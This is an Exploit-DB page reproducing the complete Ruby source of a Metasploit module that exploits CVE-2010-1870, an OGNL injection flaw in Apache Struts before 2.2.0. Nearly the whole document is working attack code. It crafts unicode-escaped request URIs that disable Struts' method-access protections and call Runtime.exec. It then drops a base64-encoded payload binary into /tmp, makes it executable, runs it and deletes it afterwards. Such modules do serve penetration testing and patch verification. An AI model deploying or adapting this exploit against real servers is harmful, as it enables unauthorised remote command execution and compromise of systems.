Apache Struts < 2.2.0 - Remote Command Execution (Metasploit)

  • 作者: Metasploit
    日期: 2011-08-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/17691/
  • ##
    # $Id: struts_code_exec.rb 13586 2011-08-19 05:59:32Z bannedit $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    require 'msf/core'
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = ExcellentRanking
    
    	include Msf::Exploit::CmdStagerTFTP
    	include Msf::Exploit::Remote::HttpClient
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name' => 'Apache Struts < 2.2.0 Remote Command Execution',
    			'Description'=> %q{
    					This module exploits a remote command execution vulnerability in 
    				Apache Struts versions < 2.2.0. This issue is caused by a failure to properly
    				handle unicode characters in OGNL extensive expressions passed to the web server.
    				
    					By sending a specially crafted request to the Struts application it is possible to
    				bypass the "#" restriction on ParameterInterceptors by using OGNL context variables. 
    				Bypassing this restriction allows for the execution of arbitrary Java code.
    			},
    			'Author' =>
    				[
    					'bannedit', # metasploit module
    					'Meder Kydyraliev', # original public exploit
    				],
    			'License'=> MSF_LICENSE,
    			'Version'=> '$Revision: 13586 $',
    			'References' =>
    				[
    					[ 'CVE', '2010-1870'],
    					[ 'OSVDB', '66280'],
    					[ 'URL', 'http://www.exploit-db.com/exploits/14360/' ],
    				],
    			'Platform'=> [ 'win', 'linux'],
    			'Privileged' => true,
    			'Targets'=>
    				[
    					['Windows Universal',
    						{
    								'Arch' => ARCH_X86,
    								'Platform' => 'win'
    						}
    					],
    					['Linux Universal',
    						{
    								'Arch' => ARCH_X86,
    								'Platform' => 'linux'
    						}
    					],
    				],
    			'DisclosureDate' => 'Jul 13 2010',
    			'DefaultTarget' => 0))
    
    			register_options(
    				[
    					Opt::RPORT(8080),
    					OptString.new('URI', [ true, 'The path to a struts application action ie. /struts2-blank-2.0.9/example/HelloWorld.action', ""]),
    					OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
    				], self.class)
    	end
    
    	def execute_command(cmd, opts = {})
    		uri =Rex::Text::uri_encode(datastore['URI'])
    		var_a = rand_text_alpha_lower(4)
    		var_b = rand_text_alpha_lower(2)
    		var_c = rand_text_alpha_lower(4)
    		var_d = rand_text_alpha_lower(4)
    		var_e = rand_text_alpha_lower(4)
    		
    		uri << "?(%27\\u0023_memberAccess[\\%27allowStaticMethodAccess\\%27]%27)(#{var_a})=true&"
    		uri << "(aaaa)((%27\\u0023context[\\%27xwork.MethodAccessor.denyMethodExecution\\%27]\\u003d\\u0023#{var_c}%27)(\\u0023#{var_c}\\u003dnew%20java.lang.Boolean(\"false\")))&"
    		uri << "(#{var_b})((%27\\u0023#{var_d}.exec(\"CMD\")%27)(\\u0023#{var_d}\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'win'
    		uri << "(asdf)(('\\u0023rt.exec(\"CMD\".split(\"@\"))')(\\u0023rt\\u003d@java.lang.Runtime@getRuntime()))=1" if target['Platform'] == 'linux'
    		uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))
    
    		vprint_status("Attemping to execute: #{cmd}")
    
    		resp = send_request_raw({
    			'uri' => uri,
    			'version' => '1.1',
    			'method'=> 'GET',
    		}, 5)
    	end
    
    	def windows_stager
    		exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"
    
    		print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
    		execute_cmdstager({ :temp => '.'})
    		@payload_exe = payload_exe
    
    		print_status("Attempting to execute the payload...")
    		execute_command(@payload_exe)
    	end
    
    	def linux_stager
    		cmds = "/bin/sh@-c@echo LINE | tee FILE"
    		exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
    		base64 = Rex::Text.encode_base64(exe)
    		base64.gsub!(/\=/, "\\u003d")
    		file = rand_text_alphanumeric(4+rand(4))
    
    		execute_command("/bin/sh@-c@touch /tmp/#{file}.b64")
    		cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
    		base64.each_line do |line|
    			line.chomp!
    			cmd = cmds
    			cmd.gsub!(/LINE/, line)
    			execute_command(cmds)
    		end
    
    		execute_command("/bin/sh@-c@base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
    		execute_command("/bin/sh@-c@chmod +x /tmp/#{file}")
    		execute_command("/bin/sh@-c@rm /tmp/#{file}.b64")
    
    		execute_command("/bin/sh@-c@/tmp/#{file}")
    		@payload_exe = "/tmp/" + file
    	end
    
    	def on_new_session(client)
    		if target['Platform'] == 'linux'
    			print_status("deleting #{@payload_exe} payload file")
    			execute_command("/bin/sh@-c@rm #{@payload_exe}")
    		else
    			print_status("Windows does not allow running executables to be deleted")
    			print_status("delete the #{@payload_exe} file manually after migrating")
    		end
    	end
    
    	def exploit
    		if not datastore['CMD'].empty?
    			print_status("Executing user supplied command")
    			execute_command(datastore['CMD'])
    			return
    		end
    
    		case target['Platform']
    			when 'linux'
    				linux_stager
    			when 'win'
    				windows_stager
    			else
    				raise RuntimeError, 'Unsupported target platform!'
    		end
    
    		handler
    	end
    end